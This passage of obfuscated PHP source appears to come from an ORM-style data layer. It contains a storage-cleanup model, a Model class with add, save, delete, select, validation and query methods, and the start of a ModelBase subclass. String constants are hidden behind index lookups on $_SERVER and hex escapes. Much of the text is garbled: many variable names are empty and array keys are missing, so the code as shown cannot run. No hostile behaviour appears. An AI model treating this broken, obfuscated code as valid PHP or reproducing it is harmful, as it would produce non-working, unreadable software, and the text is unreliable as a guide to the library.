$_SERVER[]; if (!$ && !$ט) { return !1; } $Ҋ = array($߅[1925] => $); if ($ט) { $Ҋ = array($߅[1926] => $ט); } return $this->order($߅[1932])->where($Ҋ)->find(); } public function clearEmpty($ = 0) { $购 =& $_SERVER[]; $ͬ = time() - 3600 * 24 * $; $ = $购[1933] . $ͬ; $١ = $this->where($)->select(); if (!$١) { return; } $庌 = new Task($购[1934], $购[12], count($١)); foreach ($١ as $ͷ) { $庌->update(1); $this->resetFile($ͷ); } $庌->end(); } public function resetFile($) { $ =& $_SERVER[]; $ = array($[469] => $[$[468]]); $ = Model($[1343])->where($)->count(); $Ó = Model($[1935])->where($)->count(); $ = intval($) + intval($Ó); if ($ == 0) { IO::remove($[$[84]]); Model($[1936])->delete($[$[468]]); $this->where($)->delete(); $this->metaSet($[$[468]], null, null); return; } if ($[$[1931]] != $) { $this->where($)->save(array($[1924] => $)); } } public function storageInfo($ = false) { $ޔ =& $_SERVER[]; $Ւ = $this->count() + 0.0; $ = 0; $ءͬ = 1; $ɖ眵 = 0; $ = 5000; for ($蓬 = 0; $蓬 < $Ւ; $蓬 = $蓬 + $) { $ = $this->limit($蓬, $蓬 + $)->select(); foreach ($ as $) { $ءͬ += $[$ޔ[76]] * $[$ޔ[1931]]; $ += $[$ޔ[76]] * ($[$ޔ[1931]] - 1); $ɖ眵 += $[$ޔ[1931]]; } } $è = array($ޔ[1937] => $ءͬ, $ޔ[1938] => $, $ޔ[1939] => $ / $ءͬ, $ޔ[80] => $Ւ, $ޔ[1940] => $ɖ眵); return $è; } } goto bȚѝ; F: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\x69\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\141\x62\154\x65", "\157\x72\x64\x65\162", "\141\154\151\141\x73", "\x68\x61\166\x69\156\x67", "\x67\x72\x6f\165\160", "\x6c\157\x63\153", "\x64\x69\163\164\x69\x6e\143\x74", "\x61\165\x74\157", "\146\x69\x6c\x74\145\x72", "\166\x61\x6c\151\x64\141\164\x65", "\162\x65\163\165\x6c\x74", "\142\151\x6e\x64", "\x74\157\x6b\145\156"); public function __construct($ݒ = '', $ = '', $ = '') { $ =& $_SERVER[]; $this->_initialize(); if (!empty($ݒ)) { if (strpos($ݒ, $[10])) { list($this->dbName, $this->name) = explode($[10], $ݒ); } else { $this->name = $ݒ; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePrefix = $[12]; } elseif ($[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[244]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ً =& $_SERVER[]; if (empty($this->fields)) { if (think_config($ً[245])) { $ = $this->dbName ? $this->dbName : think_config($ً[246]); $ = think_var_cache($ً[247] . strtolower(get_path_this($) . $ً[10] . $this->name)); if ($) { $É = think_config($ً[248]); if (empty($É) || $[$ً[249]] == $É) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ƿ =& $_SERVER[]; $this->db->setModel($this->name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[$ƿ[250]] = !1; foreach ($ as $ => $) { $ɽ[$] = $[$ƿ[33]]; if ($[$ƿ[39]]) { $this->fields[$ƿ[251]] = $; if ($[$ƿ[42]]) { $this->fields[$ƿ[250]] = !0; } } } $this->fields[$ƿ[252]] = $ɽ; if (think_config($ƿ[248])) { $this->fields[$ƿ[249]] = think_config($ƿ[248]); } if (think_config($ƿ[245])) { $ꘪ = $this->dbName ? $this->dbName : think_config($ƿ[246]); think_var_cache($ƿ[247] . strtolower(get_path_this($ꘪ) . $ƿ[10] . $this->name), $this->fields); } } public function switchModel($ґ, $ = array()) { $ =& $_SERVER[]; $˹ = ucwords(strtolower($ґ)) . $[253]; if (!class_exists($˹)) { think_exception($˹ . think_lang($[254])); } $this->_extModel = new $˹($this->name); if (!empty($)) { foreach ($ as $í) { $this->_extModel->setProperty($í, $this->{$í}); } } return $this->_extModel; } public function __set($, $˹) { $this->data[$] = $˹; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($ߪ) { unset($this->data[$ߪ]); } public function __call($ջ, $鹿) { $ =& $_SERVER[]; if (in_array(strtolower($ջ), $this->methods, !0)) { $this->options[strtolower($ջ)] = $鹿[0]; return $this; } elseif (in_array(strtolower($ջ), array($[255], $[256], $[257], $[258], $[259]), !0)) { $ = isset($鹿[0]) ? $鹿[0] : $[188]; $ = $this->db->parseKey($); return $this->getField(strtoupper($ջ) . $[260] . $ . $[261] . $ջ, $[255]); } elseif (strtolower(substr($ջ, 0, 5)) == $[262]) { $ = think_parse_name(substr($ջ, 5)); $DŽҍ[$] = $鹿[0]; return $this->where($DŽҍ)->find(); } elseif (strtolower(substr($ջ, 0, 10)) == $[263]) { $Ę = think_parse_name(substr($ջ, 10)); $DŽҍ[$Ę] = $鹿[0]; return $this->where($DŽҍ)->getField($鹿[1]); } elseif (isset($this->_scope[$ջ])) { return $this->scope($ջ, $鹿[0]); } elseif (method_exists($this, $ջ)) { array_unshift($鹿, $ջ); return call_user_func_array(array($this, $[264]), $鹿); } else { return call_user_func_array(array(parent, $ջ), $鹿); } } protected function call() { $ =& $_SERVER[]; $ˮ = func_get_args(); $Ó = array_shift($ˮ); $Ը = $Ó; if (is_array($Ó)) { $Ը = $Ó[1]; $Ó = $Ó[0]; } $湒 = count($ˮ) - 1; if (isset($ˮ[$湒]) && $ˮ[$湒] === $Ó) { think_exception(__CLASS__ . $[4] . $Ó . think_lang($[265])); return; } $ˮ[] = $Ó; if (method_exists($this, $[266])) { $ = call_user_func_array(array($this, $[267]), array($Ը, $ˮ)); if (!is_null($) && $ !== !1) { return $; } } $ = call_user_func_array(array($this, $Ó), $ˮ); if (method_exists($this, $[268])) { $ = call_user_func_array(array($this, $[269]), array($Ը, $ˮ, $)); if ($) { return $; } } return $; } protected function _initialize() { } protected function _facade($⭍) { $ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($⭍ as $ => $옦) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($⭍[$]); } elseif (is_scalar($옦)) { $this->_parseType($⭍, $); } } } if (!empty($this->options[$[270]])) { $⭍ = array_map($this->options[$[270]], $⭍); unset($this->options[$[270]]); } $this->_beforeWrite($⭍); return $⭍; } protected function _beforeWrite(&$) { } public function add($ = '', $ = array(), $ = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][271]); return !1; } } $ = $this->_parseOptions($); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $)) { return !1; } $ = $this->db->insert($, $, $); if (!1 !== $) { $ڨ֡ = $this->getLastInsID(); if ($ڨ֡) { $[$this->getPk()] = $ڨ֡; $this->_after_insert($, $); return $ڨ֡; } $this->_after_insert($, $); } return $; } protected function _beforeInsert(&$ʓ, $) { } protected function _after_insert($É, $) { } public function addAll($Ꙕ, $Ýþ = array(), $Α = false) { $ͨ =& $_SERVER[]; if (empty($Ꙕ)) { $this->error = think_lang($ͨ[271]); return !1; } $Ýþ = $this->_parseOptions($Ýþ); foreach ($Ꙕ as $ឝ => $) { $Ꙕ[$ឝ] = $this->_facade($); } if (method_exists($this->db, $ͨ[272])) { $ڰ = $this->db->insertAll($Ꙕ, $Ýþ, $Α); } else { $this->startTrans(); foreach ($Ꙕ as $ឝ => $) { $ڰ = $this->db->insert($, $Ýþ, $Α); } $this->commit(); } if (!1 !== $ڰ) { $˴ = $this->getLastInsID(); if ($˴) { return $˴; } } return $ڰ; } public function selectAdd($̅ˑ = '', $̧ɣ = '', $ = array()) { $個 =& $_SERVER[]; $ = $this->_parseOptions($); if (!1 === ($ = $this->db->selectInsert($̅ˑ ? $̅ˑ : $[$個[273]], $̧ɣ ? $̧ɣ : $this->getTableName(), $))) { $this->error = think_lang($個[274]); return !1; } else { return $; } } public function save($ÞĞ = '', $ = array()) { $崒 =& $_SERVER[]; if (empty($ÞĞ)) { if (!empty($this->data)) { $ÞĞ = $this->data; $this->data = array(); } else { $this->error = think_lang($崒[271]); return !1; } } $ÞĞ = $this->_facade($ÞĞ); $ = $this->_parseOptions($); $j = $this->getPk(); if (!isset($[$崒[275]])) { if (isset($ÞĞ[$j])) { $[$j] = $ÞĞ[$j]; $[$崒[275]] = $; unset($ÞĞ[$j]); } else { $this->error = think_lang($崒[274]); return !1; } } if (is_array($[$崒[275]]) && isset($[$崒[275]][$j])) { $Їݹ = $[$崒[275]][$j]; } if (!1 === $this->_beforeUpdate($ÞĞ, $)) { return !1; } $̦ݘ = $this->db->update($ÞĞ, $); if (!1 !== $̦ݘ) { if (isset($Їݹ)) { $ÞĞ[$j] = $Їݹ; } $this->_afterUpdate($ÞĞ, $); } return $̦ݘ; } protected function _beforeUpdate(&$ӏ桫, $) { } protected function _afterUpdate($̀, $) { } public function delete($Ǩ = array()) { $ŷ =& $_SERVER[]; if (empty($Ǩ) && empty($this->options[$ŷ[275]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ț = $this->getPk(); if (is_numeric($Ǩ) || is_string($Ǩ)) { if (strpos($Ǩ, $ŷ[50])) { $[$ț] = array($ŷ[276], $Ǩ); } else { $[$ț] = $Ǩ; } $this->options[$ŷ[275]] = $; } $Ǩ = $this->_parseOptions(); if (is_array($Ǩ[$ŷ[275]]) && isset($Ǩ[$ŷ[275]][$ț])) { $ʾ힣 = $Ǩ[$ŷ[275]][$ț]; } $ = $this->db->delete($Ǩ); if (!1 !== $) { $ = array(); if (isset($ʾ힣)) { $[$ț] = $ʾ힣; } $this->_after_delete($, $Ǩ); } return $; } protected function _after_delete($˱, $Ȍ) { } public function select($ъ = array()) { $ =& $_SERVER[]; if (is_string($ъ) || is_numeric($ъ)) { $ = $this->getPk(); if (strpos($ъ, $[50])) { $[$] = array($[276], $ъ); } else { $[$] = $ъ; } $this->options[$[275]] = $; } elseif (!1 === $ъ) { $ъ = $this->_parseOptions(); return $[277] . $this->db->buildSelectSql($ъ) . $[278]; } $ъ = $this->_parseOptions(); $䋳 = $this->db->select($ъ); if (!1 === $䋳) { return !1; } if (empty($䋳)) { return null; } $this->_afterSelect($䋳, $ъ); return $䋳; } protected function _afterSelect(&$ü, $ٜ) { } public function buildSql($ = array()) { $ =& $_SERVER[]; $ = $this->_parseOptions($); return $[277] . $this->db->buildSelectSql($) . $[278]; } public function optionsValue($Әׁ = null) { if (is_null($Әׁ)) { return $this->options; } elseif (is_array($Әׁ)) { $this->options = array_merge($this->options, $Әׁ); } } protected function _parseOptions($ݶǶ = array()) { $ɣƸ =& $_SERVER[]; if (is_array($ݶǶ)) { $ݶǶ = array_merge($this->options, $ݶǶ); } $this->options = array(); if (!isset($ݶǶ[$ɣƸ[279]])) { $ݶǶ[$ɣƸ[279]] = $this->getTableName(); $ܦՐ = $this->fields; } else { $ܦՐ = $this->getDbFields(); } if (!empty($ݶǶ[$ɣƸ[280]])) { $ݶǶ[$ɣƸ[279]] .= $ɣƸ[53] . $ݶǶ[$ɣƸ[280]]; } $ݶǶ[$ɣƸ[281]] = $this->name; if (isset($ݶǶ[$ɣƸ[275]]) && is_array($ݶǶ[$ɣƸ[275]]) && !empty($ܦՐ) && !isset($ݶǶ[$ɣƸ[282]]) && !isset($ݶǶ[$ɣƸ[279]])) { foreach ($ݶǶ[$ɣƸ[275]] as $… => $宼) { $… = trim($…); if (in_array($…, $ܦՐ, !0)) { if (is_scalar($宼)) { $this->_parseType($ݶǶ[$ɣƸ[275]], $…); } } elseif (!is_numeric($…) && $ɣƸ[11] != substr($…, 0, 1) && !1 === strpos($…, $ɣƸ[10]) && !1 === strpos($…, $ɣƸ[260]) && !1 === strpos($…, $ɣƸ[283]) && !1 === strpos($…, $ɣƸ[284])) { unset($ݶǶ[$ɣƸ[275]][$…]); } } } $this->_options_filter($ݶǶ); return $ݶǶ; } protected function _options_filter(&$) { } protected function _parseType(&$·ޮ, $) { $ =& $_SERVER[]; if (empty($this->options[$[285]][$[4] . $])) { $ϕ = strtolower($this->fields[$[252]][$]); if (!1 !== strpos($ϕ, $[286])) { } elseif (!1 === strpos($ϕ, $[287]) && !1 !== strpos($ϕ, $[288])) { $·ޮ[$] = intval($·ޮ[$]); } elseif (!1 !== strpos($ϕ, $[289]) || !1 !== strpos($ϕ, $[290])) { $·ޮ[$] = floatval($·ޮ[$]); } elseif (!1 !== strpos($ϕ, $[291])) { $·ޮ[$] = (bool) $·ޮ[$]; } } } public function find($ӊ = array()) { $ =& $_SERVER[]; if (is_numeric($ӊ) || is_string($ӊ)) { $[$this->getPk()] = intval($ӊ); $this->options[$[275]] = $; } $this->options[$[292]] = 1; $ӊ = $this->_parseOptions(); $많 = $this->db->select($ӊ); if (!1 === $많) { return !1; } if (empty($많)) { return null; } $this->data = $많[0]; $this->_afterFind($this->data, $ӊ); if (!empty($this->options[$[293]])) { return $this->returnResult($this->data, $this->options[$[293]]); } return $this->data; } protected function _afterFind(&$, $Ȁ) { } protected function returnResult($, $ = '') { $ьܽϦ =& $_SERVER[]; if ($) { if (is_callable($)) { return call_user_func($, $); } switch (strtolower($)) { case $ьܽϦ[294]: return json_encode($); case $ьܽϦ[295]: return xml_encode($); } } return $; } public function parseFieldsMap($҆, $զ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $Ӈ => $) { if ($զ == 1) { if (isset($҆[$])) { $҆[$Ӈ] = $҆[$]; unset($҆[$]); } } else { if (isset($҆[$Ӈ])) { $҆[$] = $҆[$Ӈ]; unset($҆[$Ӈ]); } } } } return $҆; } public function setField($, $ˣ = '') { if (is_array($)) { $ = $; } else { $[$] = $ˣ; } return $this->save($); } public function setAdd($̈, $녮 = 1) { $ =& $_SERVER[]; $߳ = $̈ . $[296] . $녮; if ($녮 < 0) { $߳ = $̈ . $녮; } return $this->setField($̈, array($[297], $߳)); } public function getField($頩, $ߖ = null) { $͓ᨾ =& $_SERVER[]; $[$͓ᨾ[273]] = $頩; $ = $this->_parseOptions($); $頩 = trim($頩); if (strpos($頩, $͓ᨾ[50])) { if (!isset($[$͓ᨾ[292]])) { $[$͓ᨾ[292]] = is_numeric($ߖ) ? $ߖ : $͓ᨾ[12]; } $ = $this->db->select($); if (!empty($)) { $Ԙ = explode($͓ᨾ[50], $頩); $頩 = array_keys($[0]); $␡ = array_shift($頩); $ԋ = array_shift($頩); $ = array(); $ڙҗ = count($Ԙ); foreach ($ as $ܢ) { $ڔ = $ܢ[$␡]; if (2 == $ڙҗ) { $[$ڔ] = $ܢ[$ԋ]; } else { $[$ڔ] = is_string($ߖ) ? implode($ߖ, $ܢ) : $ܢ; } } return $; } } else { if (!0 !== $ߖ) { $[$͓ᨾ[292]] = is_numeric($ߖ) ? $ߖ : 1; } if ($ߖ === $͓ᨾ[255]) { unset($[$͓ᨾ[292]]); } $ܢ = $this->db->select($); if (!empty($ܢ)) { if ($ߖ === $͓ᨾ[255]) { return reset($ܢ[0]); } if (!0 !== $ߖ && 1 == $[$͓ᨾ[292]]) { return reset($ܢ[0]); } foreach ($ܢ as $ľ) { $Ҕ[] = $ľ[$頩]; } return $Ҕ; } } return null; } public function create($ = '', $ = '') { $ۯ =& $_SERVER[]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($ۯ[271]); return !1; } $ = $this->parseFieldsMap($, 0); $ = $ ? $ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$ۯ[273]])) { $ρآ = $this->options[$ۯ[273]]; unset($this->options[$ۯ[273]]); } elseif ($ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ρآ = $this->insertFields; } elseif ($ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ρآ = $this->updateFields; } if (isset($ρآ)) { if (is_string($ρآ)) { $ρآ = explode($ۯ[50], $ρآ); } if (think_config($ۯ[298])) { $ρآ[] = think_config($ۯ[299]); } foreach ($ as $Գ => $в) { if (!in_array($Գ, $ρآ)) { unset($[$Գ]); } } } if (!$this->autoValidation($, $)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($ۯ[300]); return !1; } if ($this->autoCheckFields) { $ρآ = $this->getDbFields(); foreach ($ as $Գ => $в) { if (!in_array($Գ, $ρآ)) { unset($[$Գ]); } elseif (MAGIC_QUOTES_GPC && is_string($в)) { $[$Գ] = stripslashes($в); } } } $this->autoOperation($, $); $this->data = $; return $; } public function autoCheckToken($ڼ) { $ =& $_SERVER[]; if (isset($this->options[$[301]]) && !$this->options[$[301]]) { return !0; } if (think_config($[298])) { $Ӷȅ = think_config($[299]); if (!isset($ڼ[$Ӷȅ]) || Session::get($Ӷȅ)) { return !1; } list($״, $) = explode($[11], $ڼ[$Ӷȅ]); if ($ && Session::get($Ӷȅ . $[10] . $״) === $) { Session::remove($Ӷȅ . $[10] . $״); return !0; } if (think_config($[302])) { Session::remove($Ӷȅ . $[10] . $״); } return !1; } return !0; } public function regex($ȏ, $ʋ) { $ =& $_SERVER[]; $̵ = array($[303] => $[304], $[305] => $[306], $[307] => $[308], $[309] => $[310], $[311] => $[312], $[313] => $[314], $[315] => $[316], $[290] => $[317], $[318] => $[319]); if (isset($̵[strtolower($ʋ)])) { $ʋ = $̵[strtolower($ʋ)]; } return preg_match($ʋ, $ȏ) === 1; } private function autoOperation(&$ُҠ, $ƍΦ) { $ؼ =& $_SERVER[]; if (!empty($this->options[$ؼ[320]])) { $Ӓ = $this->options[$ؼ[320]]; unset($this->options[$ؼ[320]]); } elseif (!empty($this->_auto)) { $Ӓ = $this->_auto; } if (isset($Ӓ)) { foreach ($Ӓ as $鄗) { if (empty($鄗[2])) { $鄗[2] = THINK_MODEL_INSERT; } if ($ƍΦ == $鄗[2] || $鄗[2] == THINK_MODEL_BOTH) { switch (trim($鄗[3])) { case $ؼ[321]: case $ؼ[322]: $ = isset($鄗[4]) ? (array) $鄗[4] : array(); if (isset($ُҠ[$鄗[0]])) { array_unshift($, $ُҠ[$鄗[0]]); } if ($ؼ[321] == $鄗[3]) { $ُҠ[$鄗[0]] = call_user_func_array($鄗[1], $); } else { $ُҠ[$鄗[0]] = call_user_func_array(array(&$this, $鄗[1]), $); } break; case $ؼ[273]: $ُҠ[$鄗[0]] = $ُҠ[$鄗[1]]; break; case $ؼ[323]: if ($ؼ[12] === $ُҠ[$鄗[0]]) { unset($ُҠ[$鄗[0]]); } break; case $ؼ[324]: default: $ُҠ[$鄗[0]] = $鄗[1]; } if (!1 === $ُҠ[$鄗[0]]) { unset($ُҠ[$鄗[0]]); } } } } return $ُҠ; } protected function autoValidation($, $⫤) { $ͬ =& $_SERVER[]; if (!empty($this->options[$ͬ[325]])) { $贫 = $this->options[$ͬ[325]]; unset($this->options[$ͬ[325]]); } elseif (!empty($this->_validate)) { $贫 = $this->_validate; } if (isset($贫)) { if ($this->patchValidate) { $this->error = array(); } foreach ($贫 as $Ν => $˚뻡) { if (empty($˚뻡[5]) || $˚뻡[5] == THINK_MODEL_BOTH || $˚뻡[5] == $⫤) { if (0 == strpos($˚뻡[2], $ͬ[326]) && strpos($˚뻡[2], $ͬ[327])) { $˚뻡[2] = think_lang(substr($˚뻡[2], 2, -1)); } $˚뻡[3] = isset($˚뻡[3]) ? $˚뻡[3] : THINK_EXISTS_VALIDATE; $˚뻡[4] = isset($˚뻡[4]) ? $˚뻡[4] : $ͬ[328]; switch ($˚뻡[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $˚뻡)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($ͬ[12] != trim($[$˚뻡[0]])) { if (!1 === $this->_validationField($, $˚뻡)) { return !1; } } break; default: if (isset($[$˚뻡[0]])) { if (!1 === $this->_validationField($, $˚뻡)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($鋹, $) { if (!1 === $this->_validationFieldItem($鋹, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($Ѷ, $) { $Ä =& $_SERVER[]; switch (strtolower(trim($[4]))) { case $Ä[321]: case $Ä[322]: $ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $Ä[50])) { $[0] = explode($Ä[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $) { $[$] = $Ѷ[$]; } array_unshift($, $); } else { array_unshift($, $Ѷ[$[0]]); } if ($Ä[321] == $[4]) { return call_user_func_array($[1], $); } else { return call_user_func_array(array(&$this, $[1]), $); } case $Ä[329]: return $Ѷ[$[0]] == $Ѷ[$[1]]; case $Ä[330]: if (is_string($[0]) && strpos($[0], $Ä[50])) { $[0] = explode($Ä[50], $[0]); } $ʇ = array(); if (is_array($[0])) { foreach ($[0] as $) { $ʇ[$] = $Ѷ[$]; } } else { $ʇ[$[0]] = $Ѷ[$[0]]; } if (!empty($Ѷ[$this->getPk()])) { $ʇ[$this->getPk()] = array($Ä[331], $Ѷ[$this->getPk()]); } if ($this->where($ʇ)->find()) { return !1; } return !0; default: return $this->check($Ѷ[$[0]], $[1], $[4]); } } public function check($, $۬, $֫ɚ = "\x72\x65\147\145\x78") { $ڧ =& $_SERVER[]; $֫ɚ = strtolower(trim($֫ɚ)); switch ($֫ɚ) { case $ڧ[7]: case $ڧ[332]: $Ȅ = is_array($۬) ? $۬ : explode($ڧ[50], $۬); return $֫ɚ == $ڧ[7] ? in_array($, $Ȅ) : !in_array($, $Ȅ); case $ڧ[333]: case $ڧ[334]: if (is_array($۬)) { $ = $۬[0]; $ç = $۬[1]; } else { list($, $ç) = explode($ڧ[50], $۬); } return $֫ɚ == $ڧ[333] ? $ >= $ && $ <= $ç : $ < $ || $ > $ç; case $ڧ[335]: case $ڧ[336]: return $֫ɚ == $ڧ[335] ? $ == $۬ : $ != $۬; case $ڧ[337]: $ = mb_strlen($, $ڧ[338]); if (strpos($۬, $ڧ[50])) { list($, $ç) = explode($ڧ[50], $۬); return $ >= $ && $ <= $ç; } else { return $ == $۬; } case $ڧ[339]: list($뵒, $) = explode($ڧ[50], $۬); if (!is_numeric($뵒)) { $뵒 = strtotime($뵒); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $뵒 && NOW_TIME <= $; case $ڧ[340]: return in_array(get_client_ip(), explode($ڧ[50], $۬)); case $ڧ[341]: return !in_array(get_client_ip(), explode($ڧ[50], $۬)); case $ڧ[328]: default: return $this->regex($, $۬); } } public function query($, $ = false) { $ =& $_SERVER[]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ = str_replace(array($[231], $[342]), $[53], $); $ = $this->parseSql($, $); return $this->db->query($); } public function execute($̩, $ʖǸ = false) { if (!is_bool($ʖǸ) && !is_array($ʖǸ)) { $ʖǸ = func_get_args(); array_shift($ʖǸ); } $̩ = $this->parseSql($̩, $ʖǸ); return $this->db->execute($̩); } protected function parseSql($, $) { $֏ =& $_SERVER[]; if (!0 === $) { $ɭ熝 = $this->_parseOptions(); $ = $this->db->parseSql($, $ɭ熝); } elseif (is_array($)) { $ = array_map(array($this->db, $֏[343]), $); $ = vsprintf($, $); } else { $ = strtr($, array($֏[344] => $this->getTableName(), $֏[345] => think_config($֏[244]))); } $this->db->setModel($this->name); return $; } public function db($ĺ = '', $ = '', $ō = array()) { $߷ =& $_SERVER[]; if ($߷[12] === $ĺ && $this->db) { return $this->db; } static $㪳 = array(); static $Ŧ = array(); if (!isset($Ŧ[$ĺ]) || isset($Ŧ[$ĺ]) && $ && $㪳[$ĺ] != $) { if (!empty($) && is_string($) && !1 === strpos($, $߷[8])) { $ = think_config($); } $ĺ = think_guid($); $Ŧ[$ĺ] = Db::getInstance($); } elseif (NULL === $) { $Ŧ[$ĺ]->close(); unset($Ŧ[$ĺ]); return; } if (!empty($ō)) { if (is_string($ō)) { parse_str($ō, $ō); } foreach ($ō as $寳É => $) { $this->setProperty($寳É, $); } } $㪳[$ĺ] = $; $this->db = $Ŧ[$ĺ]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $Ư = get_class($this); if ($Ư == $_SERVER[][346]) { return $this->name; } $this->name = substr($Ư, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[]; if (empty($this->trueTableName)) { $ǹ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ǹ .= $this->tableName; } else { $ǹ .= think_parse_name($this->name); } $this->trueTableName = strtolower($ǹ); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ʮ =& $_SERVER[]; return isset($this->fields[$ʮ[251]]) ? $this->fields[$ʮ[251]] : $this->pk; } public function getDbFields() { $ =& $_SERVER[]; if (isset($this->options[$[279]])) { $й = $this->db->getFields($this->options[$[279]]); return $й ? array_keys($й) : !1; } if ($this->fields) { $й = $this->fields; unset($й[$[250]], $й[$[251]], $й[$[252]], $й[$[249]]); return $й; } return !1; } public function data($ؓː = '') { $ϝ =& $_SERVER[]; if ($ϝ[12] === $ؓː && !empty($this->data)) { return $this->data; } if (is_object($ؓː)) { $ؓː = get_object_vars($ؓː); } elseif (is_string($ؓː)) { parse_str($ؓː, $ؓː); } elseif (!is_array($ؓː)) { think_exception(think_lang($ϝ[271])); } $this->data = $ؓː; return $this; } public function join($Њ) { $ދ =& $_SERVER[]; if (is_array($Њ)) { $this->options[$ދ[282]] = $Њ; } elseif (!empty($Њ)) { $this->options[$ދ[282]][] = $Њ; } return $this; } public function union($, $ʢ = false) { $ =& $_SERVER[]; if (empty($)) { return $this; } if ($ʢ) { $this->options[$[347]][$[348]] = !0; } if (is_object($)) { $ = get_object_vars($); } if (is_string($)) { $ܘ = $; } elseif (is_array($)) { if (isset($[0])) { $this->options[$[347]] = array_merge($this->options[$[347]], $); return $this; } else { $ܘ = $; } } else { think_exception(think_lang($[271])); } $this->options[$[347]][] = $ܘ; return $this; } public function cache($ = true, $̲ = null, $ = '') { $ =& $_SERVER[]; if (!1 !== $) { $this->options[$[349]] = array($[94] => $, $[339] => $̲, $[33] => $); } return $this; } public function field($ꞕ, $ = false) { $ =& $_SERVER[]; if (!0 === $ꞕ) { $ԑЬ = $this->getDbFields(); $ꞕ = $ԑЬ ? $ԑЬ : $[188]; } elseif ($) { if (is_string($ꞕ)) { $ꞕ = explode($[50], $ꞕ); } $ԑЬ = $this->getDbFields(); $ꞕ = $ԑЬ ? array_diff($ԑЬ, $ꞕ) : $ꞕ; } $this->options[$[273]] = $ꞕ; return $this; } public function scope($ɡ = '', $ = NULL) { $Ѹ =& $_SERVER[]; if ($Ѹ[12] === $ɡ) { if (isset($this->_scope[$Ѹ[37]])) { $и = $this->_scope[$Ѹ[37]]; } else { return $this; } } elseif (is_string($ɡ)) { $ = explode($Ѹ[50], $ɡ); $и = array(); foreach ($ as $) { if (!isset($this->_scope[$])) { continue; } $и = array_merge($и, $this->_scope[$]); } if (!empty($) && is_array($)) { $и = array_merge($и, $); } } elseif (is_array($ɡ)) { $и = $ɡ; } if (is_array($и) && !empty($и)) { $this->options = array_merge($this->options, array_change_key_case($и)); } return $this; } public function where($, $ĥ = null) { $ƅ =& $_SERVER[]; if (!is_null($ĥ) && is_string($)) { if (!is_array($ĥ)) { $ĥ = func_get_args(); array_shift($ĥ); } $ĥ = array_map(array($this->db, $ƅ[343]), $ĥ); $ = vsprintf($, $ĥ); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $枹 => $՟) { if ((is_numeric($枹) || !$枹) && is_string($՟)) { if (strpos($՟, $ƅ[350]) === 0) { continue; } think_trace($ƅ[351], $ƅ[12], $ƅ[49]); die; } } } if (is_string($) && $ƅ[12] != $) { $ = array(); $[$ƅ[352]] = $; $ = $; } if (isset($this->options[$ƅ[275]])) { $this->options[$ƅ[275]] = array_merge($this->options[$ƅ[275]], $); } else { $this->options[$ƅ[275]] = $; } return $this; } public function limit($ʇפ, $Ľ = null) { $ꍧ =& $_SERVER[]; $this->options[$ꍧ[292]] = is_null($Ľ) ? $ʇפ : $ʇפ . $ꍧ[50] . $Ľ; return $this; } public function page($ӫ, $Ġ = null) { $ =& $_SERVER[]; $this->options[$[353]] = is_null($Ġ) ? $ӫ : $ӫ . $[50] . $Ġ; return $this; } public function comment($䑲) { $this->options[$_SERVER[][354]] = $䑲; return $this; } public function setProperty($ә, $㲛) { if (property_exists($this, $ә)) { $this->{$ә} = $㲛; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\x6f\144\151\146\x79\x54\151\x6d\x65", "\x74\x69\155\x65", "\x69\156\x73\145\x72\x74\54\x75\x70\144\141\164\x65", 